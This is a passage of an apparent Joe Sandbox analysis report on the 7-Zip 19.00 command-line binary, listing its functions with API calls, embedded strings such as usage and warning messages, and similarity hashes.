fputs.MSVCRT ref: 00C86C4F

Part of subcall function 00C86B3C: fputs.MSVCRT ref: 00C86B7C
Part of subcall function 00C86B3C: free.MSVCRT ref: 00C86BAE
Part of subcall function 00C86B3C: fputs.MSVCRT ref: 00C86BCC

fputs.MSVCRT ref: 00C86D13
fputs.MSVCRT ref: 00C86D3D
fputs.MSVCRT ref: 00C86D6D
fputs.MSVCRT ref: 00C86D87
fputc.MSVCRT ref: 00C86D9A
free.MSVCRT ref: 00C86E3A
free.MSVCRT ref: 00C86E72

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

Strings

file, xrefs: 00C86D80
Scan WARNINGS for files and folders:, xrefs: 00C86C48
Scan WARNINGS: , xrefs: 00C86C80
WARNING: Cannot open , xrefs: 00C86D66
WARNINGS for files:, xrefs: 00C86D36
Error:, xrefs: 00C86E50
Everything is Ok, xrefs: 00C86D0C

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$free$fputc
String ID: Error:$ file$Everything is Ok$Scan WARNINGS for files and folders:$Scan WARNINGS: $WARNING: Cannot open $WARNINGS for files:
API String ID: 2662072562-1527772849
Opcode ID: da4e118f9d486780fcc46832e40a27d855b0a713e45ff0d8968e49b5411b90f1
Instruction ID: e22a7bad01d0ae8eca180c4aea4d16c6f985472c436d8c050a3b368a5f91e6c2
Opcode Fuzzy Hash: da4e118f9d486780fcc46832e40a27d855b0a713e45ff0d8968e49b5411b90f1
Instruction Fuzzy Hash: C3517F7630494086DE20FF21E6957AEB331FB85BD8F844226FE6E03669DF28CA45D344

Function 00C61988 Relevance: 27.7, APIs: 22, Instructions: 211COMMON

Download Yara Rule

APIs

Part of subcall function 00C43314: memmove.MSVCRT ref: 00C43339

free.MSVCRT ref: 00C61A13
free.MSVCRT ref: 00C61A73
free.MSVCRT ref: 00C61AA1
free.MSVCRT ref: 00C61AA9
free.MSVCRT ref: 00C61AB7
free.MSVCRT ref: 00C61AC2
free.MSVCRT ref: 00C61C8F
free.MSVCRT ref: 00C61C9A
free.MSVCRT ref: 00C61CA7
free.MSVCRT ref: 00C61CB4

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 487434742999afad6c6a49a55d089b6f01de136bf747d36331bc54ee911b7c32
Instruction ID: d82629d4744e7cd2e01e897044427d67fa3f82174822233392f83b0c90545c60
Opcode Fuzzy Hash: 487434742999afad6c6a49a55d089b6f01de136bf747d36331bc54ee911b7c32
Instruction Fuzzy Hash: CF71AC32715AC091CA20EF26E89179EA760FBC27E0F585112FF9E57B69DF28C946D700

Function 00C7187D Relevance: 25.2, APIs: 20, Instructions: 214COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C7187D

Part of subcall function 00C42130: malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
Part of subcall function 00C42130: _CxxThrowException.MSVCRT ref: 00C4214F

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ExceptionThrowfreemalloc
String ID:
API String ID: 2861928636-0
Opcode ID: 715b52d3456352f88bffa419932dca49956056468a6bc82701705f4594a5e09d
Instruction ID: e12f16e13e7043552c264f3a6fba50bc9c3730b63869473f47ac5c65258d3839
Opcode Fuzzy Hash: 715b52d3456352f88bffa419932dca49956056468a6bc82701705f4594a5e09d
Instruction Fuzzy Hash: B9814C32209BC481CA60DF26E451BAE77A4FBD6B94F45A012EF9E53B15CF38C986D704

Function 00C872C8 Relevance: 25.1, APIs: 20, Instructions: 81COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C872DB
free.MSVCRT ref: 00C8730D
free.MSVCRT ref: 00C87315
free.MSVCRT ref: 00C8731D
free.MSVCRT ref: 00C8732D
free.MSVCRT ref: 00C87339
free.MSVCRT ref: 00C87345
free.MSVCRT ref: 00C87351
free.MSVCRT ref: 00C8735D
free.MSVCRT ref: 00C87369
free.MSVCRT ref: 00C87375
free.MSVCRT ref: 00C87381
free.MSVCRT ref: 00C8738D
free.MSVCRT ref: 00C87399
free.MSVCRT ref: 00C873A2
free.MSVCRT ref: 00C873AB
free.MSVCRT ref: 00C873B4
free.MSVCRT ref: 00C873E9
free.MSVCRT ref: 00C873F1
free.MSVCRT ref: 00C873F9

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 604b93e9740048c82800e9d74cf7720333369c55d8207d772f7bb48edf82253e
Instruction ID: 055bfa5b8b5bcdff719234d90e79f75ff6d2b1672f7962e1554c0f8855075746
Opcode Fuzzy Hash: 604b93e9740048c82800e9d74cf7720333369c55d8207d772f7bb48edf82253e
Instruction Fuzzy Hash: A231DA2261198085CA11FF36DD522AC7360FFC2FA8F592171AF2D5B369DE20CC829354

Function 00C7DCB0 Relevance: 22.8, APIs: 10, Strings: 5, Instructions: 323COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C7DE77
free.MSVCRT ref: 00C7DE82
free.MSVCRT ref: 00C7DE8C

Part of subcall function 00C4AEBC: memmove.MSVCRT ref: 00C4AEE7

free.MSVCRT ref: 00C7DF0B

Strings

?, xrefs: 00C7DF66
2, xrefs: 00C7DFF8
Z, xrefs: 00C7DEBC
?, xrefs: 00C7E024
3, xrefs: 00C7E0BC

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID: 2$3$?$?$Z
API String ID: 1534225298-3338962022
Opcode ID: 84abab613373cf7922060763a3c287b9f684fa76ebb682cbcf5688f653a5ccb0
Instruction ID: b9c4f68b6dd8ebd62083d24ca3632e3c2bf82a2bdcf97129588b9f3af0b3e2dd
Opcode Fuzzy Hash: 84abab613373cf7922060763a3c287b9f684fa76ebb682cbcf5688f653a5ccb0
Instruction Fuzzy Hash: 60C1A5732146C492CB30DB26D88156EB771FBD9B84F909112EBAF83B69DE38CA45D701

Function 00C53AFC Relevance: 21.4, APIs: 17, Instructions: 169COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C53B4A
free.MSVCRT ref: 00C53B52
free.MSVCRT ref: 00C53B62
free.MSVCRT ref: 00C53B6E
free.MSVCRT ref: 00C53BA0
free.MSVCRT ref: 00C53BA8
free.MSVCRT ref: 00C53BB8
free.MSVCRT ref: 00C53BC4
free.MSVCRT ref: 00C53BF6
free.MSVCRT ref: 00C53BFE
free.MSVCRT ref: 00C53C0E
free.MSVCRT ref: 00C53C53
free.MSVCRT ref: 00C53C5B
free.MSVCRT ref: 00C53C6B
free.MSVCRT ref: 00C53C9E
free.MSVCRT ref: 00C53CDE
free.MSVCRT ref: 00C53CE8

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ca853514d698da322178c764a93f6451d2681f45a97f5268fbff0ab336d04f61
Instruction ID: 0184f5e526b7bdf37dc815e24194ee2e87c8cc430f1c3d83cc1057329eb88cc4
Opcode Fuzzy Hash: ca853514d698da322178c764a93f6451d2681f45a97f5268fbff0ab336d04f61
Instruction Fuzzy Hash: D9512D27712AC08ACB15EE36C49566D6320FF86FE5B595271DF2E1B718CF24CA898314

Function 00C7D998 Relevance: 21.2, APIs: 13, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

Part of subcall function 00C44D78: free.MSVCRT ref: 00C44DBC
Part of subcall function 00C44D78: free.MSVCRT ref: 00C44DC4
Part of subcall function 00C44D78: free.MSVCRT ref: 00C44EAC

free.MSVCRT ref: 00C7DAAC
free.MSVCRT ref: 00C7DAB4
free.MSVCRT ref: 00C7DAC2
free.MSVCRT ref: 00C7DAF0
free.MSVCRT ref: 00C7DAF8
free.MSVCRT ref: 00C7DB06
free.MSVCRT ref: 00C7DBB6
free.MSVCRT ref: 00C7DBE9
free.MSVCRT ref: 00C7DBF1
free.MSVCRT ref: 00C7DBFF
free.MSVCRT ref: 00C7DC2D
free.MSVCRT ref: 00C7DC35
free.MSVCRT ref: 00C7DC43

Part of subcall function 00C44338: wcscmp.MSVCRT ref: 00C44345

Strings

..\, xrefs: 00C7DB27

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$wcscmp
String ID: ..\
API String ID: 4021281200-2756224523
Opcode ID: 7888456042c53789908d25aad9b3813a7becaf42d114683dbdf658571ea549be
Instruction ID: 935fa283211c685e761b58c04bf00530c8018732c182520a3c9650b9f3035837
Opcode Fuzzy Hash: 7888456042c53789908d25aad9b3813a7becaf42d114683dbdf658571ea549be
Instruction Fuzzy Hash: 4E617B22714A8086CA20EF16E49125EB770FFD5BA4F999121FF5E1B768DF79C942C700

Function 00C80B2C Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C80B57
fputs.MSVCRT ref: 00C80B67

Part of subcall function 00C42568: free.MSVCRT ref: 00C425B5
Part of subcall function 00C42568: free.MSVCRT ref: 00C425C0

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

fputs.MSVCRT ref: 00C80BB4
fputs.MSVCRT ref: 00C80BC4
fputs.MSVCRT ref: 00C80BD0
free.MSVCRT ref: 00C80BE4
fputs.MSVCRT ref: 00C80C0C
fputs.MSVCRT ref: 00C80C1C
fputs.MSVCRT ref: 00C80C2A

Strings

Path: , xrefs: 00C80B60
Modified: , xrefs: 00C80C15
Size: , xrefs: 00C80BBD

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$free$fputc
String ID: Modified: $Path: $Size:
API String ID: 2662072562-3207571042
Opcode ID: baf16f6fc6d4a04671d563c07444ec4426631ca8bc597a177c284f797b747402
Instruction ID: e1834f28c7c29036a88595077a5d56b7bdf29789e749298cd6927cc739c32240
Opcode Fuzzy Hash: baf16f6fc6d4a04671d563c07444ec4426631ca8bc597a177c284f797b747402
Instruction Fuzzy Hash: CF21306630090181EE14EF26E955B6D6331FB96BECF959326EE7D036B8DF28C51AC304

Function 00C4BF04 Relevance: 20.3, APIs: 16, Instructions: 327COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4BF55
free.MSVCRT ref: 00C4BF5D
free.MSVCRT ref: 00C4BF93
free.MSVCRT ref: 00C4BF9B
free.MSVCRT ref: 00C4BFF4
free.MSVCRT ref: 00C4C1DC
free.MSVCRT ref: 00C4C1F6
free.MSVCRT ref: 00C4C210
free.MSVCRT ref: 00C4C22A
free.MSVCRT ref: 00C4C1A5

Part of subcall function 00C42D34: free.MSVCRT ref: 00C42D77

free.MSVCRT ref: 00C4C1C2
free.MSVCRT ref: 00C4C237
free.MSVCRT ref: 00C4C248
free.MSVCRT ref: 00C4C253
free.MSVCRT ref: 00C4C3AF
free.MSVCRT ref: 00C4C3BD

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b4b88fefa1dc8cc45d876b51e8a403cde685ba7d07cf5a0b4bc54341fa2cdd8b
Instruction ID: 03697456683b99b12af28bae085bfafd1a2cbbb46f92d3fc8d80fbc0ad1a6c95
Opcode Fuzzy Hash: b4b88fefa1dc8cc45d876b51e8a403cde685ba7d07cf5a0b4bc54341fa2cdd8b
Instruction Fuzzy Hash: F0C17E2735598092CA20EF26E4C116EA770F7C9B90F905122EB9E63B39DF39CD95DB40

Function 00C50998 Relevance: 19.6, APIs: 12, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00C509CE
memmove.MSVCRT ref: 00C509E7
memmove.MSVCRT ref: 00C50A00
_CxxThrowException.MSVCRT ref: 00C50B70
free.MSVCRT ref: 00C50B7E
free.MSVCRT ref: 00C50B8B
free.MSVCRT ref: 00C50B98
free.MSVCRT ref: 00C50BA5
free.MSVCRT ref: 00C50BB2
free.MSVCRT ref: 00C50BBC
free.MSVCRT ref: 00C50BC6
free.MSVCRT ref: 00C50BD0

Strings

Incorrect volume size:, xrefs: 00C50B53

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove$ExceptionThrow
String ID: Incorrect volume size:
API String ID: 3957182552-1799541332
Opcode ID: 4436e24a10e8fc572d61ba3777d2b135a9ae8f78e93ce841be10de43e0223506
Instruction ID: daf05df952bb999132d607beea1b9e4be9bd8a19b1df11e3e7f61135ebebde7e
Opcode Fuzzy Hash: 4436e24a10e8fc572d61ba3777d2b135a9ae8f78e93ce841be10de43e0223506
Instruction Fuzzy Hash: 7251E076304AC492DB20EF25D8913EDB320F785B88F945122EF9D877A5DF28CA89D744

Function 00C57178 Relevance: 19.0, APIs: 15, Instructions: 200COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C571FD

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f4d9c5df7f8b7d7a50d10b176def1ac906b2dbe33b2ad29e85ea175187436e74
Instruction ID: a42a4a30050e7ecf1514744c8a4c617f89c3f6a6d94e2a8f223776baf83e34ea
Opcode Fuzzy Hash: f4d9c5df7f8b7d7a50d10b176def1ac906b2dbe33b2ad29e85ea175187436e74
Instruction Fuzzy Hash: AC71B236208A4081DB20EF25E8553AE77A1FBC5BE5F441222BF5E87765DF28C9CAD704

Function 00C4A8A0 Relevance: 18.2, APIs: 10, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 00C4339C: free.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433D7
Part of subcall function 00C4339C: memmove.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433F2

free.MSVCRT ref: 00C4A90A
free.MSVCRT ref: 00C4A9AD

Strings

/, xrefs: 00C4AA22
\, xrefs: 00C4AA1B

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID: /$\
API String ID: 1534225298-1600464054
Opcode ID: f198c9d99514ce9e4ce6b0316728f7062312fdaa462ade4dde103b6963418a90
Instruction ID: 77b6c86d1e3786e473dcde9337103f29fb5633d779b93f170778bd0b5196a08b
Opcode Fuzzy Hash: f198c9d99514ce9e4ce6b0316728f7062312fdaa462ade4dde103b6963418a90
Instruction Fuzzy Hash: 42519462244680A1CE24FF22D5520BE6770FBD67D4B845121FB5E47766DF28CA8AFB02

Function 00C885C7 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C885DA
free.MSVCRT ref: 00C885E2
memmove.MSVCRT ref: 00C88602
fputs.MSVCRT ref: 00C88637
fputs.MSVCRT ref: 00C88647
free.MSVCRT ref: 00C8867B
free.MSVCRT ref: 00C88683
free.MSVCRT ref: 00C88695

Strings

Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values, xrefs: 00C88640
7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 00C88630

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$fputs$memmove
String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values
API String ID: 2337578458-4238946813
Opcode ID: fc1f1692e1a7be690a265933f0a82059642291962d2ae098a8720eef4c07a75c
Instruction ID: 7ae8a32589663d3f8208ef331bde2479dd4020b2fd17c6269ef65aa073460a5b
Opcode Fuzzy Hash: fc1f1692e1a7be690a265933f0a82059642291962d2ae098a8720eef4c07a75c
Instruction Fuzzy Hash: F91160633056C086DA20EF15E98136EB322FB85BD8F945022EB6D17B19DF38C99AC705

Function 00C4FEC8 Relevance: 16.6, APIs: 8, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 00C48624: free.MSVCRT(?,?,?,?,?,?,00C4FF0B), ref: 00C486A9

_CxxThrowException.MSVCRT ref: 00C4FF2F
free.MSVCRT ref: 00C4FFAE
_CxxThrowException.MSVCRT ref: 00C4FFD1
_CxxThrowException.MSVCRT ref: 00C4FFF7
_CxxThrowException.MSVCRT ref: 00C5002B
free.MSVCRT ref: 00C500DF
free.MSVCRT ref: 00C500E7
free.MSVCRT ref: 00C500F5

Strings

The file operation error for listfile, xrefs: 00C4FF71
Incorrect item in listfile.Check charset encoding and -scs switch., xrefs: 00C4FFDA, 00C5000E
Cannot find listfile, xrefs: 00C4FF12

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ExceptionThrow
String ID: Cannot find listfile$Incorrect item in listfile.Check charset encoding and -scs switch.$The file operation error for listfile
API String ID: 4001284683-1604901869
Opcode ID: 96405dd8fb92279f030b02bc931f9dc36b9c89402a3ea1ebc254a3a14f5713aa
Instruction ID: ac6d9f0b2cf988870e3fd09dcc1f0a4514b0d66e727177cdbf55010d2b7ca3ef
Opcode Fuzzy Hash: 96405dd8fb92279f030b02bc931f9dc36b9c89402a3ea1ebc254a3a14f5713aa
Instruction Fuzzy Hash: B751D37231468492DA20EB16E88079EA720FBD67D4FA00116EF9953B59DFB8C94ACB00

Function 00C47524 Relevance: 16.4, APIs: 13, Instructions: 153COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4756F
SetLastError.KERNEL32 ref: 00C4758E
free.MSVCRT ref: 00C4759A

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ErrorLast
String ID:
API String ID: 408039514-0
Opcode ID: 56e310f5247428a7174e856c66c809f8f157f3f47fc266d476a18a669d8f27e7
Instruction ID: 67a5630f4c68a3cc2c889e534f8a9927ae8174da0f87b1bf123c140bc146a0f0
Opcode Fuzzy Hash: 56e310f5247428a7174e856c66c809f8f157f3f47fc266d476a18a669d8f27e7
Instruction Fuzzy Hash: E851992261C94092DA21EF25E49156EA760FFD57A0F902312B79E43A79DF68CD87DB00

Function 00C83148 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 52COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C83184
fputs.MSVCRT ref: 00C83194
fputs.MSVCRT ref: 00C831E1
fputs.MSVCRT ref: 00C831F1

Strings

WARNING, xrefs: 00C831DA
WARNINGS:, xrefs: 00C831BE
ERRORS:, xrefs: 00C83164
= , xrefs: 00C8318D, 00C831EA
ERROR, xrefs: 00C8317D

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs
String ID: = $ERROR$ERRORS:$WARNING$WARNINGS:
API String ID: 1795875747-2836439314
Opcode ID: bfaef9fa8df0d205eec04fe16e9a27ef95300a9a3da73fd13572728b12155a0b
Instruction ID: aabfa7cfd3456b2dc941ac90fa668dab7e8443790e980697d4a9d7a8cbea0b65
Opcode Fuzzy Hash: bfaef9fa8df0d205eec04fe16e9a27ef95300a9a3da73fd13572728b12155a0b
Instruction Fuzzy Hash: 0E1196B630059092FB25EF26E948B5C6720F705FC8F44D125CF5803A64DF38DA69C308

Function 00C865D0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C865F8
fputs.MSVCRT ref: 00C86604
fputs.MSVCRT ref: 00C86614

Part of subcall function 00C86460: fputs.MSVCRT ref: 00C864B3

fputs.MSVCRT ref: 00C86643
fputs.MSVCRT ref: 00C86674
free.MSVCRT ref: 00C86680

Strings

Memory =, xrefs: 00C8660D
, xrefs: 00C865F1
MB, xrefs: 00C8663C

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

